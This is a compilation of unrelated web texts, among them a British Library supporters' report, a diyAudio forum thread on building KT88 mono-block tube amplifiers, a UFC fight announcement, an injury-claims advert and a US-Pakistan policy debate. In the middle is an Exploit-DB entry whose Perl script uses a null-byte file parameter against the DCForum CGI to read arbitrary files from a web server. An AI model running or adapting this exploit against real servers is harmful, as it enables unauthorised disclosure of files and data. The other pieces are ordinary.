Two further interns began internships in November, generously supported by the Ernest Cook Trust and the Headley Trust. A sound archiving internship programme, with bursaries supported by the Heritage Lottery Fund, the Ernest Cook Trust, the D'Oyly Carte Charitable Trust and the American Trust for the British Library, was launched in September. The scheme has attracted applicants from sound archives around the world.
A new programme of events for the public to discover more about conservation launched in Autumn 2007. Visitors can join behind-the-scenes tours, advisory days and workshops, and explore a new dedicated exhibition space in the Foyle Visitor and Learning Centre.
Conservation Research
The Andrew W. Mellon Foundation is generously supporting a three-year project between the British Library and the other UK Legal Deposit libraries to research the deterioration of paper and books in libraries. 350 identical books have been gathered in each library and the project team is analysing tiny samples from each to work out the effect of their differing storage conditions. Ultimately we hope to use the data to develop tools that give an early warning that books are becoming fragile and to design storage facilities that will minimise the rate of paper degradation.
Pearson Creative Research Fellows
This year's Pearson Creative Research Fellow is the last in a five-year collaboration with Pearson. Based within the Learning team, the Fellows have researched the collections and shared their findings through creative projects and workshops with young people.
This year's fellow was fine art photographer Chino Otsuka, and the main subject of her creative research was the exploration of memory. She was particularly interested in photographs from the Asian and African collections and soundscapes in the British Library Sound Archive. During the year, Chino led two Young Researchers projects for groups of learners, inspired by Breaking the Rules. She will showcase images and sounds in an exhibition at the Library in September 2008.
Learning Space
We wish to transform the Education Room at St Pancras by extending into two smaller rooms and creating a fully-equipped Learning Space almost treble the size of the existing facility. Enhanced by new furniture, internet-connected laptops and interactive whiteboards, the new Learning Space will significantly increase the range and number of activities we can run for learners of all ages. Fundraising is underway for this project and we are very grateful to the Wolfson Foundation and John Lyon's Charity, who have pledged their support.
British Library Patrons gifted unrestricted funds which have benefited a range of inspiring projects, including the Breaking the Rules exhibition. Throughout the year we welcomed Patrons to a range of events offering them special access to our outstanding collections. These have included a tour of the Sound Archive's treasure trove of historical recordings, a breakfast visit focusing on our historic Chinese collections, and a lively presentation by Lord Baker on bawdy and irreverent satirical cartoons from the reign of George III.
American Trust for the British Library (ATBL)
We are most grateful to all of our friends who continue to support the Library through the American Trust and, in particular, to the late William T Golden, Co-Chairman, who died in 2007 at the age of 97 and who had been a leading light in the ATBL since the 1970s.
Mr Golden, along with the late Arthur Houghton, the late Viscount Eccles and the late Douglas Bryant, the ATBL's founding director, was instrumental in nurturing the American Trust in its fledgling days. The group's greatest achievement was to lead a successful campaign to restore the Library's American collections which had suffered severe bomb damage in WWII.
Become a supporter
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|7th June 2009, 02:58 PM
diyAudio Member
Join Date: Apr 2006
Location: Florida
PP KT88 Mono blocks?
I'm pretty green at DIY, but have completed a ground up scratch build of a highly modified ST70 amp using ALL new parts. I now want to build up my Main System!
For the pre i'm going with Coffedj's 12B4 once he has the chokes and power supply ready to go. While waiting i'd like to research the power amps. I've done some reading here, but haven't come up with a schematic yet.
What I want is your basic PP Ultra or E linear class AB 4 power tube (KT88?) Mono blocks! Around 100W per block would be nice! I want something at least equal to the better commercial offerings in sound quality. If I can't equal them, i'd rather buy new. Any schematics floating around her fit the bill? Did I pick the right topology for higher powered block?
I mainly see alot of lower powered amps being built.
|7th June 2009, 03:49 PM
diyAudio Member
Join Date: Oct 2003
Location: Sydney
If you are green to DIY, and green to tube amp building, a scratch built 100 watt amp is very ambitious, and the chance of failure of disappointment high. Such an amp is going to be expensive, and if it does not perform up to your desires you will feel like you have wasted a bunch of money for nothing. As well as the 'traps for young players' with these builds, there is also the danger with the high voltages involved. First question though, why do you need 100 watts? Every watt in a tube amp adds to the cost and weight of the project. I moved from a 50 watt chip amp to a 7 watt tube amp and enjoyed the experience! I do have reasonably efficient speakers though.
I would describe the music you listen to and the type and efficiency of your speakers and you will get some advice here on what a realistic power level would be for the amp. As a tube amp tends to clip much more benignly than a solid state amp, you require much less headroom with the power, hence the advice that tube watts are more powerful than solid state watts.
Good luck with the quest, you will find plenty of friendly helpful advice here!
|7th June 2009, 04:05 PM
diyAudio Member
Join Date: Apr 2006
Location: Florida
I listen to mostly classic rock, but do have of interests as well. The goal is to have the option to drive many speaker types up to the difficult Maggie MGM! I'm green, but i found the ST70 build not to bad. I do have a nice solder station, and fluke, as well as a new scope, and freq generator for trouble shooting. A low powered SET is something i'd like to do for fun later, but for the main system I really had High powered monos in mind. For the price I see even used monos going for on Audiogon, it would seem that DIY would be much cheaper, even with quality parts. This would not be a budget build. However, I would like to be well below the cost of even used commercial offerings. The main requirement would be at least equaling the quality of these commercial amps. If thats not possible than i'd never be happy!
|7th June 2009, 04:57 PM
diyAudio Member
Join Date: Apr 2004
Location: Monroe Township, NJ
The BALLSY PSU in a McShaned Cit. 2 allows you to get 60 WPC continuously and more than 120 WPC instantaneously out of a PP pair of KT88s. PSU quality is step 1 in executing any good project.
In spite of their hunger for power, "Maggies" are tube friendly, thanks to a reasonably flat impedance curve. As the owner of a "Duece", the only speakers I would not connect are big Thiels, with their NASTY dips down to 1 Ω. IMO, a superior PP KT88 design, as opposed to a PPP design, is all you need.
There is no doubt in my mind that you can get better performance out of a DIY project, rather than spending the cash on something like ARC, CJ, etc.
Eli D.
|7th June 2009, 05:42 PM
diyAudio Member
Join Date: Apr 2006
Location: Florida
Now were cookin! If you think a deuce will drive the MGM's to decent levels, i'm in!
Now for the schematic? something that could trounce a Conrad Johnson would be nice, but it woulld have to be doable by a newbie. Any proven tested designs around that fit the bill? One that someone here with a pic of the p2p layout would be a plus!
One option may be to use the DIYtube Posiden replacement board for the Mark 2 amps. Perhaps follow that path but with mods and way uprated iron? I'd still want a Conrad / ARC killer!
|7th June 2009, 08:44 PM
diyAudio Member
Very few diy projects can surpass in cost/quality used (<1/3 retail cost) commercial stuff. Once you factor in a presentable chasis and high quality components diy does not look so attractive. Not to mention quite unpredictable sonic results and close to zero resale value. Of course you may turn out lucky and end up with a Reference basher for peanuts but a more realistic scenario is fine tuning a prototype over many months and buying lots more components then you will actually use.
|7th June 2009, 09:50 PM
diyAudio Member
Join Date: May 2006
Location: Yakima, Washington
As in my case, you may find that what you built sounds better then anything you've ever bought, for 1/2 to at cost... (plus the added fun of fine tuning, seriously). Take your time, do it right, and don't let the neigh sayers here keep you from building what you want. My only advice is to follow the good advice of the experienced builders that helps you accomplish your goal, keep one hand in the pocket when the amp is on, and find a good/complete schematic to work from, at least for the power section, the PSU can be knocked out with PSUD II and a bit of fiddling. All that being said, good luck and I look forward to seeing what you build.
Oh one more thing, find a good article on star grounding. I read lots of posts about ground issues causing hum and lots of DIY frustration people have spoken about, I've dealt with myself.
|7th June 2009, 11:00 PM
diyAudio Member
Join Date: Apr 2004
Location: Monroe Township, NJ
The H/K Citation II is a stereoblock and its complex, 3 nested NFB loop, topology is not (IMO) something a comparative beginner should tackle. OTOH, the "classic" topology of the Mullard 5-20 IS straight forward. A 6GK5 voltage amplifier and 10M45 CCS loaded tail 12AT7 LTP will provide plenty of gain for KT88 "finals" and the global NFB loop. Pay attention to PSU quality and don't cheap out on the O/P trafos. Better sounding and more durable than either CJ or ARC? I think so. Their primary (sole?) object is profit.
Eli D.
|7th June 2009, 11:11 PM
diyAudio Member
Join Date: Jul 2003
Location: Ann Arbor, MI
I'd go for a 6AC7 E-Linear front end. B+ in the low 400's to drive PPP KT88 with a 3k a-a load. For output iron, Citation II iron, or Heathkit W6m( in either original or new Heyboer production ), would do quite well.
You'd be able to idle each tube at 80-90 mA if you keep to something like 420 Volts o the B+ to deliver ~80W or so. With a single pair of KT90 I get ~60W from my W6m. They're currently doing bass service in my bi-amp rig.
the Tnuctipun will return
|7th June 2009, 11:21 PM
diyAudio Member
Join Date: Mar 2009
It's well worth getting a copy of the book 'An Approach to Audio Frequency Amplifier Design' by GEC.
Loads of KT88 circuits in there.
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text:
Former title contenders Miesha Tate and Sara McMann will square off this January at UFC 183.
The fight announcement was made official on "UFC Tonight" Wednesday evening. It will take place January 31 from the MGM Grand Garden Arena in Las Vegas, with Anderson Silva-Nick Diaz in the main event.
Tate (15-5) has won two straight inside the Octagon, defeating Rin Nakai and Liz Carmouche. She lost to Ronda Rousey last December for the UFC title following a loss to Cat Zingano earlier in 2013. Tate is a former Strikeforce champion.
McMann (8-1) suffered her first career defeat at the hands of Rousey to start 2013, but rebounded with a win over Lauren Murphy. She won silver in the Summer Olympics in wrestling.
Below is the current lineup:
Middleweight: Anderson Silva vs. Nick Diaz
Welterweight: Thiago Alves vs. Jordan Mein
Female Bantamweight: Miesha Tate vs. Sara McMann
Middleweight: Andy Enz vs. Thiago Santos
Middleweight: Ildemar Alcantara vs. Richardson Moreira
Middleweight: Thales Leites vs. Tim Boetsch
Featherweight: Diego Brandao vs. Jimy Hettes


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I water colored her with Distress Ink pads.
The glitters on her dress and tiara does not show very well.
If you click on the picture, you might see it better.
The following embellishments are available at The Ribbon Girl Shop:
18mm Lucy white cluny lace, 8mm Rebecca ivory cluny lace,
white organza rose ribbon, ivory pearl and crystal branch,
WOC white lily flower, ivory/lemon sparkle rose,
10mm pale pink open rose.
Thanks so much for stopping by.
- MDUC- Bling it baby
- Midweek Magnolia- Anything goes with vintage/frantage
- Simply Magnolia- Layers and lace
- Magnilia-licious- All about butterflies
- You, Me and Magnolia- Anything goes
- Crafts and Me- Something old (Ballerina Tilda, all the dies I used)
- Totally Gorjuss- Anything with flowers
- Whoopsi Daisy- Shabby chic or vintage
- Songbird- All creatures great and small (I used butterflies)
- Deep Ocean- For a girl
- Inky Chicks- Use a Magnolia stamp
- Kraftyhands- No square allowed
- NMWC- Bingo (ribbons/bling/diecuts)
- In the Pink- Anything goes


text:
I always laughed every time I watched one of the Ocean's 11 movies when Brad Pitt was on the screen, because 9 out of 10 times he was eating something. Leave it to a redditor to compile images of each of those moments for your viewing pleasure.
I spent a particularly lazy Sunday recently watching all three films of the Ocean's Trilogy, and thought it would be fun to catalogue everything Brad Pitt eats or drinks (which is a lot). I'm not entirely sure why I did this, but enjoy!


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Stampy is a computer animated feline character who appears in a different "Minecraft" video every day on YouTube. He is alternately known as Mr. Stampy Cat, Stampylonghead and Stampylongnose.
Stampy was created by Joseph Garrett of Portsmouth, England, who records himself playing the computer game "Minecraft" with his friends and uploads them to YouTube. As of 2015, his YouTube channel Stampylonghead is among the 10 most-viewed in the world, beating out such popular culture megastars as Katy Perry and One Direction. Stampy is particularly popular among young children. The channel has more than three million subscribers, but Garrett has kept quiet on how much revenue it generates for him.
Garrett studied TV and video production in college and was living at his parents' home when he started the Stampy character.
"Minecraft" was created by Swedish developer Markus Persson and was released in 2011. It has exploded in popularity since, which could help explain Stampy's success. In 2014, it became the second most popular computer game of all time.
The game involves building structures using different types of boxes. Players also can craft weapons and other tools. In survival mode, they must dodge creatures such as creepers and zombies as they make their way through various landscapes.


text:
First Flat Bed Screen Pritner 1980 Digital Textile Printer - 2012
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Our R and D Team consist of young engineers who are keen on working with technology.
We have sold more than 2700+ machines all over India and expanding exponentially.


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Kettering in Northamptonshire was formerly known as a centre of development for the boot and shoe industry in the UK, with much of the architecture of the era being the large homes of factory owners, and terraced streets for the workers. This industry went into decline in the 1970s and, since then, its economy has diversified, with many large businesses having their headquarters there.
The town has a number of popular amenities and attractions, including Wicksteed Park, the second oldest theme park in the UK, Bugtopia, large insect reserve and Chesham House.
Kettering has a growing commuter population, thanks to good rail links and its geographical situation. As a growing town, accidents are common in the area. If you were injured in an accident in Kettering and it was someone else's fault, you could make a claim for personal injury compensation.
Accident Advice Helpline is one of the largest law firms in the UK and our Patron is well-loved TV personality and consumer rights champion Dame Esther Rantzen. She agreed to represent us on the basis of significant personal research into our service and after talking with many of our previous clients.
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Road traffic accidents in Kettering
Kettering is in the county of Northamptonshire, in the East Midlands. Unlike other similar counties, Northamptonshire has seen road traffic accident numbers increase over the last 5 years. Numbers of fatalities, in particular, have grown at a worrying speed, from 19 in 2011 to 32 in 2015.
Northamptonshire County Council has implemented a number of road safety initiatives, but it remains to be seen whether these will reduce the numbers of road traffic accidents in Kettering. Driving on the roads can be dangerous because, no matter how careful and considerate you are, some drivers will drive with reckless abandon or carelessness, putting other peoples' lives at risk.
The most common causes of road traffic accidents across the UK are drivers speeding, driving under the influence of drink or drugs, or not paying attention, including using mobile phones while driving. If you were injured in an accident like this within the last three years and you've received medical attention for your injuries, you could be entitled to make a claim for personal injury compensation.
A personal injury solicitor in Kettering could help you to make your claim but, if you've already experienced financial difficulty as a result, you could be worried about the cost of a solicitor. That's why Accident Advice Helpline works on a 100% no-win, no-fee* basis, meaning there are no upfront costs for you to start a claim.
Our Patron, Dame Esther Rantzen, believes that our no-win, no-fee* policy represents the best opportunity for people to seek justice who would otherwise not be able to afford to take their claim to court, especially since legal aid has been stopped for those making compensation claims.
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Whiplash accident in Kettering
Compared with other injuries sustained in road traffic accidents, whiplash might seem like a minor injury. However, it can cause painful symptoms, like headaches, muscle strain and pins and needles that, in some cases, can last over a year.
Not only that, but it's also recognised that many of those who suffer from the long-term symptoms of whiplash can develop mental health problems as a result, including anxiety and depression. This is usually as a result of both the chronic pain experienced and the fact that some of those people may be prevented from working or taking part in social activities.
A claim for compensation following a whiplash accident in Kettering can not only compensate you for your physical injuries, but also any emotional ones you've experienced as a result. It's a good idea to get expert help to make a claim but, while you could take on a personal injury solicitor in Kettering to help you, you can't always be sure who has the specialist knowledge and experience you need.
If you don't know who to trust, let us reassure you that you can trust Accident Advice Helpline. We have over 16 years' experience of dealing solely with personal injury claims and, as well as having Dame Esther Rantzen in our corner, we also have a great satisfaction record with our previous clients.
They've given us a fantastic score of 4.7 out of 5 on feefo.com and this because we put you, the customer, at the centre of everything we do. Talk to use today to get more information on how we can help.
Slips, trips and falls in Kettering
Slips, trips and falls in Kettering are more common than you might think. While most of these accidents are unavoidable, caused by losing your footing, for example, sometimes they are caused by the inaction or carelessness of someone else.
For example, imagine walking into your office on a wet and windy morning. The highly polished marble floor surface of the lobby is light, so it's difficult to see if there are puddles of liquid there and many people have already arrived and shaken dry their jackets or umbrellas.
If there's a large puddle of water on the lobby floor and you slip on it, falling hard, who's fault is it? Whoever is responsible for the facilities upkeep in the building could be responsible if you can prove that they knew there was excess liquid in the lobby but failed to put up adequate signage to point it out.
They could also be responsible if they failed to provide an appropriate matting system as you enter the building that could have absorbed much of the liquid from people's shoes.
If you were injured in a situation like this and you believe someone else was at fault, you could be entitled to compensation. That could help you to recover some or all of the costs you incurred as a result of your accident, including loss of earnings if you had to take time off work.
Finding the right personal injury solicitor in Kettering to help you could take time, though. Instead, why not contact Accident Advice Helpline? As one of the largest UK law firms, we can provide you with specialist representation from a solicitor with experience in the field of personal injury law, and that means you can make the best claim possible. Call our helpline today to find out more about how we can help.
Work accident in Kettering
Like may similar areas, Kettering has high levels of employment within the wholesale and retail trade, health and social care and manufacturing. Due to the nature of the work involved in manufacturing, injuries sustained in that industry can be serious.
Manufacturing processes often involve working with complex and dangerous machinery and equipment. That equipment needs to be maintained well and kept up to date; if it becomes outdated or faulty, it should be repaired or replaced as soon as possible.
This is your employers' duty of care; they need to do everything they can to ensure that their employees don't come to harm while at work. While some jobs carry an element of inherent risk, that can be exacerbated if machinery isn't looked after properly.
If you were injured in a work accident in Kettering and you believe someone else was at fault, you could be entitled to make a claim for compensation. That could compensate you for costs you've incurred, such as medical bills, travel costs to and from GP or hospital appointments, prescription charges or even the cost of personal care or help around the home, if your injuries were serious enough to warrant this.
Accident Advice Helpline is here to support you throughout your claim, so that you never feel like you're going it alone. All it takes to get started is one free, no-obligation call to our helpline.
How to make a claim
When you call our helpline, you'll be put through to one of our friendly, professional advisers. They will talk you through your accident, getting as much information as possible. They'll then explain the claims process in full so that you know what to expect, and give you all the information you need to decide if you'd like to make a claim.
However, it's entirely your choice whether to go ahead or not; there's no obligation and you won't face any high-pressure sales tactics. We put the customer first at all times, and our great reputation with previous clients proves that.
If you do decide to go ahead, you probably won't have to go to court because we can handle most claims entirely over the phone. You'll get help and support throughout, and expert representation at no upfront cost.
Call us today free from a landline on 0800 689 0500 or from a mobile call 0333 500 0993 (charges may vary).


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Today, Center for American Progress senior fellow Brian Katulis and Heritage Foundation senior research fellow Lisa Curtis debate the impact of breaking the U.S.-Pakistan alliance. Previously, they debated U.S. foreign aid to the country, prospects for a legitimate election under Pervez Musharraf, and Benazir Bhutto's legacy. Tomorrow, they'll discuss Pakistani sovereignty and capturing Osama bin Laden.
A strategic and moral imperativeBy Lisa Curtis
The U.S. doesn't really have the option of abandoning Pakistan. We rely on Pakistani air, land and sea space to supply critical fuel, vehicles and aircraft to support our 26,000 (soon to be 29,500) troops fighting in Afghanistan. The U.S. would find it extremely difficult to develop alternative supply lines for the war effort in Afghanistan.
We also depend on officials there to help control the flow of militants from Pakistan into Afghanistan. Although cross-border infiltration is still a problem, the Pakistanis have been able to tighten controls over the last year. Without their cooperation, the international effort to defeat the Taliban and stabilize Afghanistan would be much more complicated.
Nor would the U.S. want to abandon Pakistan. Pakistan has been an ally in fighting terrorism, losing close to a thousand of its own soldiers in battles with extremists in tribal areas along the border with Afghanistan. Much of the instability wracking Pakistan stems from the war in Afghanistan and Pakistani efforts to confront the terrorist threat within its own borders. Pakistan is in the eye of the storm with regard to the battle against extremism. It would be folly for the U.S. to turn its back on the country during this crisis period.
The U.S. needs moderate, progressive Pakistanis to prevail over extremists seeking to cause chaos, overthrow the regime and establish a theocratic government in its place. Cutting ties to Pakistan because of a lack of democracy could backfire by emboldening extremists to fight harder and forcing secular-minded civilian politicians into retreat.
In fact, it's in U.S. national security interests to cultivate strong ties to Pakistan over the long term so that Washington can edge the country toward a path of moderation, development and democracy. Most U.S. policymakers now acknowledge that it was a mistake to cut off aid to Pakistan in the early 1990s; we sacrificed important leverage with the Pakistani military and the good will of the Pakistani people. We must not repeat that mistake, despite some of the difficulties in the relationship.
That said, we need to increase the pressure to promote a return to civilian-led democracy in Pakistan, especially in the run-up to next month's election. A flawed election viewed as rigged by Pervez Musharraf would lead to further instability. The U.S. needs to be clear on the specific criteria by which it will judge the fairness of the election and signal its readiness to deal with a more broad-based, civilian-led government.
There has been some discussion about forming a unity government, but such a step should be pursued only with full agreement of the mainstream political parties and with the understanding that it would help restore democratic rule. Ultimately, the Pakistanis themselves have to resolve their domestic political problems, but the U.S. has a moral and strategic obligation to stand up for the principles of democracy and freedom, especially when the Pakistani people so clearly and persistently yearn to move in this direction.
Lisa Curtis is a senior research fellow in the Asian Studies Center at the Heritage Foundation(heritage.org).
The prosperity agendaBy Brian Katulis
Lisa, I think we're in broad agreement over where U.S. policy on Pakistan needs to be, even if we have some important disagreements on how to get there. We both think that abandoning the alliance with Pakistan would adversely affect our fight against Al Qaeda but we disagree about how the United States can best exercise its leverage to enhance stability and prosperity in Pakistan.
The main problem with the path you've outlined is that it is not very different from the one that got us where we are now and as we know, the definition of insanity is doing the same thing and expecting different results. Right now in Pakistan, we have the worst of both worlds a government headed by an undemocratic, authoritarian leader and an escalating terrorism problem in Pakistan and neighboring Afghanistan.
Ironically, President Bush doesn't seem to have confidence in his own central national security proposition that freedom and democracy would defeat terrorism. Pakistan, the country that has likely served as haven for top Al Qaeda leaders for the past six years, is one on a long list of exceptions in President Bush's freedom agenda. If Bush's so-called freedom agenda actually meant anything, one might think it would be applied in the places where it counts.
Lisa, you and I agree that rushing headlong into an election while political prisoners remain behind bars just as terrorist suspects like Rashid Rauf slip away, while press freedoms are restricted and while the judiciary continues to lack independence, is the wrong way to go. Yet the White House seems intent on standing behind its man, Musharraf.
For far too long, key institutions in Musharraf's government have been playing something of a double game going after militants just enough to appease the United States but focusing strategic priorities elsewhere. One prime example is the case of Maulana Masood Azhar, who founded the Army of Muhammad with support from the Pakistani intelligence services. Though Azhar was jailed after militants attacked India's parliament in December 2001, he was freed not long after in what has been a revolving-door policy on far too many terrorist suspects.
The sad truth is that too much of U.S. assistance to Pakistan has been squandered focused on rewarding the Pakistani military with the conventional weapons it wants to fight India. This aid has not bought us much influence with Musharraf; despite our urgings, he went ahead and declared emergency rule in November and has run roughshod over political rights and civil liberties.
While selling F-16s may buy us some goodwill in some parts of the Pakistani military, it has not done the same with the Pakistani people. According to a recent poll of the Pakistani public by the Program on International Policy Attitudes, more Pakistanis believe the American military presence in Afghanistan is a greater threat to their country than longtime rival India. While important, a strong relationship with the Pakistani military does not equate to a strong relationship with the Pakistani people.
What the United States needs to do is to move beyond President Bush's hollow freedom agenda and make a shift to a prosperity agenda one that focuses on advancing our interests by making the Pakistani people feel more secure and prosperous.
This shift requires a fundamental rethink to our approach, and not just more of the same. The first step is one you and I already agreed on a set of serious measures to make Pakistan's next elections meaningful and legitimate in the eyes of its people. The second step is refocusing military aid to make it more accountable and more suited fighting terrorist networks. Finally, the United States needs to do more to ensure that our assistance is making life better for ordinary Pakistanis who are experiencing skyrocketing prices in bread, fuel and other life essentials.
The United States needs to start from the bottom up in Pakistan with a new prosperity agenda - rebuilding its relationship with the Pakistani people, changing the nature of its military assistance and truly promoting democracy (not just saying the words). More of the same will give us the same results - a worsening situation for the vast majority of Pakistanis who have already suffered too much from their own leaders and the misguided policies of outside powers.
Brian Katulis, a senior fellow at the Center for American Progress, is the coauthor of the forthcoming book, "The Prosperity Agenda."
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# source: http://www.securityfocus.com/bid/1951/info # # DCForum is a commercial cgi script from DCScripts which is designed to facilitate web-based threaded discussion forums. # #The script improperly validates user-supplied input, which allows the remote viewing of arbitrary files on the host which are readable by user 'nobody' or the webserver. Additionally, it has been reported that the dcforum.cgi script can be made to delete itself if the attacker attempts to read its source code using this method, effectively permitting a denial-of-service attack. # #!/usr/bin/perl # DC Forum Vulnerablitiy(Found In Versions From 1.0 - 6.0 According To CGISecurity.com Advisory) # Exploits Vulnerability That Allows Remote File Reading # By SteeLe # BEGIN { open(STDERR,">errors.txt"); } error checking $lynx = "/usr/bin/lynx"; # specify $site = $ARGV[0]; $cgi = $ARGV[1]; $inet = inet_aton($site); die "\n\t--- Usage:$0 <site> <cgi location,duh> ---" if(@ARGV == '0' || @ARGV < 2); print "\n\t--- DCForum 1.0 - 6.0 Exploit ---"; print "\n\t--- By the cool fellas at * ---\n\n"; while(true) { # yea i think I stole this from the pollex.pl , uh thanks. print "[dcforum]Option:"; $action = <STDIN>; chomp($action); print "Valid Options: r(read files, usage r <file>), q(quit)\n" if($action ne "r" || $action ne "q"); if ($action eq "r") { print "\nFile(to read):"; $file = <STDIN>; chomp($file); # Old fashion shit, and I was lazy so be happy $url = "?az=list&file=$file%00"; $site = `$lynx http://$site$cgi$url`; print $site; } elsif ($action eq "q") { print "now exiting program\n"; exit; } } # (c) 2000 [Warez To Tha Extreme(Damn Thats A Lie)]
Related ExploitsTrying to match CVEs (1): CVE-2000-1132
Trying to match OSVDBs (1): 1646
Other Possible E-DB Search Terms: DCForum 1-6, DCForum
|DCForum 1-6 DCBoard Script - 'Page' Cross-Site Scripting
|DCForum 6.0 - Remote Admin Privilege Arbitrary Commands
|Franklin De...
|DCForum - 'auth_user_file.txt' File Multiple Information Disclosure Vulnerabilities
|DCForum+ 1.2 - 'Subject' HTML Injection


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In order to reduce pollution in London, all coaches operating in the London Low Emission Zone (LEZ) must meet new regulations governing particle exhaust emissions set by Transport for London (TfL). All Redwing's coaches are LEZ compliant.
Operating sightseeing tours and excursions efficiently and reliably is a fundamental requirement for any coach hire company. At Redwing Coaches we have vast experience operating sightseeing tours throughout the UK and Europe.
We operate large numbers of day trip excursions on behalf of specialist tour operators. As a result our drivers are very experienced with this type of work.
In addition, we can organise one-off sightseeing trips for our clients, suggesting suitable itineraries and recommending suitable tour guides. And all this for a very reasonable price per head.
It might surprise you how far away one can travel during a day trip. For example, it's quite possible to drive from London to Blackpool, enjoy some time in this famous seaside town, view the famous Blackpool Illuminations in the evening and still be back in London later the same night.
Day trips to the Continent are always popular, travelling to France with the coach by cross-Channel ferry or on the Eurotunnel Shuttle train.
Many Continental day trips concentrate on shopping, either at the shopping complexes in France and Belgium near the Channel ports or even further afield. See our Shopping Trips To France page for more information.
For sightseeing-only excursions, it's possible to venture quite a long way inland and still be home the same day. So when you're planning your itinerary you'll first need to find out what is possible and what is not.
Just call our helpful Sales Manager, Martin Hockley, on 020 7733 1124. They will be happy to discuss your ideas and help you firm up your itinerary. Once you have a workable itinerary Martin will give you a highly competitive, value for money price quote. There's no pressure and no obligation, so don't be shy about calling to ask questions.
We also operate longer tours for clients, from a couple of days to several weeks duration, in the UK and Europe.
Call Martin Hockley, our friendly Sales Manager, on 020 7733 1124 to find out more.
You'll find more information about longer tours on our Multi-Day UK Tours and European Tours pages, plus information about specialist ski trips on our Skiing Trips page.
If you are a tour company Redwing Coaches can provide the solid, reliable foundations for your business.
You design the itinerary, train your tour guides and sign up your customers. We'll back you up and make you look good, with beautiful luxury coaches and smart, cooperative drivers who know the business inside out.


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Responsive Design Explained6th December 2013 No Comments
Chances are that if you have talked to anyone involved with the web development industry in the last couple of years, the term "responsive design" was mentioned to some degree. Responsive design is not a new concept, but in 2013 it has finally made the leap into boardrooms, as it has proved to be an excellent technique to make your website accessible to a mass audience.
What is responsive design?
Responsive design is a development technique that allows your website to adapt to the device your users are viewing it on. It also provides you with the capability to write once and publish everywhere, meaning less work for you.
Up until the smartphone market exploded, the web was traditionally only viewed from personal computers, which had a predictable range of dimensions and resolutions. This meant that you could safely build a website expecting to have space on the screen for multiple columns of content.
It was a simpler time in web development. Designers could easily mock up full sites in photoshop as they knew how many pixels they had to work with. Developers could easily translate those designs into pixel perfect copies on the web.
Then came the phones which you could browse the internet on, followed by the tablets, followed by the internet enabled tv's, and now we have fridges, cars, wristwatches and glasses all of which let people get on the web. You should be able to see the problem now – screens that can be any size and any aspect ratio. Our nice and easy world of being able to design a website knowing how many pixels we have to work with is no more.
Responsive design grew out of the frustration of trying to apply traditional design techniques to all these new screen sizes. Instead of figuring out what your website is going to look like on your computer monitor, we now design mobile-first. This means you build the website so it looks and functions well on small screens, and then add additional layout features as the device screens get larger. This is a very different approach from traditional web design, and in order to embrace responsive design, you have accept that your website will not look the same everywhere. Your website simply cannot look exactly the same on a smartphone as it will on a desktop monitor.
The benefits of responsive design
Responsive design solves a lot of problems with websites, and not just on the tech-side of your business.
- Responsive design allows you to have one website that works across multiple screens. Initially, when smartphones and tablets hit the market there was a trend to have separate sites for mobile, tablet, and desktop experiences. This meant that there would be 3 separate versions of your site which needed to be maintained and populated with content. This is expensive and required a large time investment to create and maintain.
- The mobile-first approach forces you to think about your content and determine what information is most critical to your site visitors. People expect to scroll a website on a phone, so you can order the most important content at the top so they do not have to search as much for what they are looking for.
- Responsive design is not only about reacting to screen size differences. It can also be used to have your site adapt to the device being used to view your website. Page elements can work differently on touch screens for example, allowing people to swipe content. You can also adapt to features like GPS location, where your site could provide a special coupon to people who are close to your store or make a map with directions to the nearest store more prominent on the screen.
Who is using responsive design?
As mentioned earlier, 2013 has been the year responsive design hit the mainstream. It is now considered the industry-standard approach to take when redesigning or building a new website. Responsive design has been adopted by many major companies and has shown to have substantial benefits over the traditional web design approach.
Here are some sites which have made the transition, including stats on how responsive design benefitted them:
- Walmart Canada – (source)
- 20% conversion boost by switching to responsive design
- Time Magazine – (source)
- Pages per visit, across mobile, tablet and desktop are up considerably.
- Mobile is up 23% compared to what it had been.
- Homepage unique visits are up 15%, and time spent is up 7.5%.
- The mobile bounce rate decreased by 26%.
- O'Neill Clothing – (source)
- 65.7% conversion rate increase on iPhone/iPod
- 101.2% revenue growth on iPhone/iPod
- 407.3% conversion rate increase on Android devices
- 591.4% revenue growth on Android devices
- 20.3% conversion rate increase on non-mobile devices
- 41.1% revenue growth on non-mobile devices
These were just some of the sites where I could find specific stats for this, but as you can see from the list below, responsive design is becoming the approach used by major brands.
If your are curious to see more sites that make use of responsive design, you can check out mediaqueri.es. It is a site dedicated to showing off examples of responsive design sites.
What does responsive design mean for you?
Responsive design is a solution to many issues you need to deal with when it comes to deciding how to tackle your website and redesign projects. It forces you to build for the future by creating a site that you know will be usable on any screen size. Responsive design also helps you focus on the core content of your business and what your customers need when they visit your site. It also makes your site more maintainable and less expensive, as you no longer need to have multiple versions of your site for different devices.
If you are interested in pursuing a responsive approach to your next website, contact us and let us help move your website into the future.


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Cloudberry Pursuits CIC is an award winning social enterprise providing a focus for a range of activities, with an emphasis on the outdoors, to bring benefits to individuals, groups, organisations and communities. We are committed to ensuring you have exceptional, enriching experiences in ways which are also sustainable. Cloudberry are particularly interested in working with the public, voluntary and social enterprise sectors. Read about Cloudberry and our values.
We provide access to consultancy, coaching, development and other activities that relate to the outdoor environment. As our business grows you will see themes develop into separate areas.
Cloudberry Medical is our first major stream of activity. Cloudberry Medical is a specialist provider of environment and sector specific first aid training and services. We have particular expertise in outdoor, sport & exercise first aid and we provide first aid cover for small outdoor events. We also bring our experience to work place first aid.
Cloudberry Pursuits CIC has just been awarded the Social Enterprise Mark. This national award scheme is designed for social enterprises who prove their social or environmental intentions are genuine against a set of qualification criteria.
As well as supporting UK groups we are also adopting Community Action Nepal as a charity.


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Andrew McCarthy takes Secretary of State Rice to task for telling the Europeans that the United Nations Convention Against Torture and Cruel, Inhuman and Degrading Treatment or Punishment (UNCAT) "prohibits, of course, cruel, inhumane [sic] and degrading treatment," and for assuring the Europeans that "[a]s a matter of U.S. policy, [American] obligations under [UNCAT] … extend to U.S. personnel wherever they are, whether they are in the United States or outside of the United States."
